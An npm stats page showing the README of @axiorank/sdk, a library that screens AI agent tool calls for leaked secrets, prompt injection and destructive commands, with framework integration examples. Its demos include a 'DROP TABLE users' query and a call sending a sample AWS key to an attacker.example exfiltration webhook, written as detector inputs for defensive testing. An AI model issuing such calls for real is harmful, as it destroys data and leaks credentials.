npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@axiorank/sdk

v0.16.0

Published

Catch leaked secrets, prompt injection, and destructive calls in your AI agent's tool calls. Runs locally with no signup; enforce centrally with AxioRank.

Downloads

2,380

Readme

@axiorank/sdk

Catch leaked secrets, prompt injection, destructive commands, and PII in your AI agent's tool calls. This runs the same detection engine the hosted AxioRank gateway runs, in-process, with no API key and no signup.

Try it in 10 seconds (no key, no signup)

npx @axiorank/sdk demo

Or scan one of your own tool calls:

echo '{"tool":"db.query","arguments":{"sql":"DROP TABLE users"}}' | npx @axiorank/sdk scan

Add --share to demo or scan to publish the result as a public scorecard and print a shareable link (opt-in; the server recomputes the verdict):

npx @axiorank/sdk scan --share < call.json

Install

npm install @axiorank/sdk

Inspect a tool call locally

No API key, no network. inspect() runs the exact detectors and risk scoring the gateway runs and returns an advisory verdict.

import { inspect } from "@axiorank/sdk";

const r = inspect("aws.s3.putObject", {
  body: "AKIAIOSFODNN7EXAMPLE",
  webhook: "http://attacker.example/exfil",
});

console.log(r.decision, r.risk); // "deny" 96
console.log(r.signals.map((s) => s.detector)); // ["secret.aws_access_key", ...]

The verdict follows the default posture: deny on a live secret, a destructive operation, or risk at or above 75. inspectText(tool, text) does the same for a tool's output, so you can catch indirect prompt injection before your agent ingests it.

Enforce centrally

inspect() shows you what is risky locally. To enforce it across your fleet, with your own policy, an audit trail, approvals and holds, and multi-step kill-chain correlation, route the call through the hosted gateway. Create a free key at axiorank.com, then:

import { AxioRank } from "@axiorank/sdk";

const axio = new AxioRank({
  apiKey: process.env.AXIORANK_KEY!, // your agent's key, looks like axr_live_...
  // baseUrl: "https://your-axiorank.vercel.app", // defaults to https://app.axiorank.com
});

const result = await axio.toolCall({
  tool: "github.push",
  arguments: { repo: "myrepo" },
});

if (result.decision === "deny") {
  console.warn(`Blocked: ${result.reason} (risk ${result.risk})`);
} else {
  // ...proceed with the real tool call
}

enforce(): guard in one line

import { AxioRankDeniedError } from "@axiorank/sdk";

try {
  await axio.enforce({ tool: "aws.delete", arguments: {} });
  // only reached when the call is allowed
} catch (err) {
  if (err instanceof AxioRankDeniedError) {
    console.error(err.result.reason);
  }
}

Framework integrations

Already building on an agent framework? Put every tool call behind the gateway with one wrapper, with no need to call toolCall by hand. Each adapter ships as a subpath of this package and treats the framework as an optional peer dependency, so a plain @axiorank/sdk install stays lightweight.

| Framework | Import | Wrap with | | ------------------------------ | ----------------------------- | ------------------------------ | | Anthropic Messages API | @axiorank/sdk/anthropic | guardToolHandlers(handlers, axio) | | Vercel AI SDK (ai) | @axiorank/sdk/vercel | guardTools(tools, axio) | | OpenAI Agents SDK | @axiorank/sdk/openai-agents | guardExecute(name, fn, axio) | | LangChain · LangGraph | @axiorank/sdk/langchain | guardTools(tools, axio) | | Mastra | @axiorank/sdk/mastra | guardTool(tool, axio) |

On a deny the wrapper throws AxioRankDeniedError by default; with { onDeny: "return" } it hands the model a short refusal string so it can re-plan. A require_approval hold is waited out transparently. Pass axio.trace() instead of axio to correlate a whole agent run into one kill-chain trace.

Anthropic Messages API

The Anthropic SDK doesn't run your tools; your loop does. Guard the dispatch step: hand each tool_use block to the guarded dispatcher and send back the tool_result it returns. This adapter defaults to onDeny: "return".

import Anthropic from "@anthropic-ai/sdk";
import { AxioRank } from "@axiorank/sdk";
import { guardToolHandlers } from "@axiorank/sdk/anthropic";

const anthropic = new Anthropic();
const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const dispatch = guardToolHandlers(
  { deployToProd: async ({ service }) => deploy(service) },
  axio.trace(), // correlate the whole run into one kill-chain trace
);

const msg = await anthropic.messages.create({ model: "claude-opus-4-8", tools, messages });
const toolResults = [];
for (const block of msg.content) {
  if (block.type === "tool_use") toolResults.push(await dispatch(block));
}
// send `toolResults` back as the next user message

Vercel AI SDK

import { generateText } from "ai";
import { openai } from "@ai-sdk/openai";
import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/vercel";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

await generateText({
  model: openai("gpt-4.1"),
  tools: guardTools(myTools, axio, { onDeny: "return" }),
  prompt,
});

OpenAI Agents SDK

import { tool } from "@openai/agents";
import { AxioRank } from "@axiorank/sdk";
import { guardExecute } from "@axiorank/sdk/openai-agents";
import { z } from "zod";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const refund = tool({
  name: "refund",
  parameters: z.object({ chargeId: z.string(), amount: z.number() }),
  execute: guardExecute("refund", async ({ chargeId, amount }) => doRefund(chargeId, amount), axio),
});

LangChain.js / LangGraph.js

import { AxioRank } from "@axiorank/sdk";
import { guardTools } from "@axiorank/sdk/langchain";
import { createReactAgent } from "@langchain/langgraph/prebuilt";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const agent = createReactAgent({
  llm,
  tools: guardTools(myTools, axio, { onDeny: "return" }),
});

AxioRank guards by wrapping each tool (it scores before the tool runs). A LangChain callback handler can't reliably block (handler errors are processed on an async queue and the tool runs anyway), so wrapping is the enforcement path.

Mastra

import { AxioRank } from "@axiorank/sdk";
import { guardTool } from "@axiorank/sdk/mastra";

const axio = new AxioRank({ apiKey: process.env.AXIORANK_KEY! });

const deploy = guardTool(deployTool, axio, { onDeny: "return" });
// ...hand `deploy` to your Mastra agent in place of the original tool.

API

new AxioRank(options)

| Option | Type | Default | Description | | ----------- | -------- | ----------------------------- | ------------------------------------ | | apiKey | string | - (required) | Your agent API key. | | baseUrl | string | https://app.axiorank.com | Your AxioRank deployment URL. | | timeoutMs | number | 10000 | Per-request timeout. | | fetch | fetch | global fetch | Custom fetch (tests / edge runtimes).|

axio.toolCall(params) → Promise<ToolCallResult>

Returns { decision, reason, risk, auditLogId }. Resolves for both allow and deny. Throws AxioRankAuthError (401) or AxioRankRequestError (other errors).

axio.enforce(params) → Promise<ToolCallResult>

Same as toolCall, but throws AxioRankDeniedError when decision === "deny".

License

MIT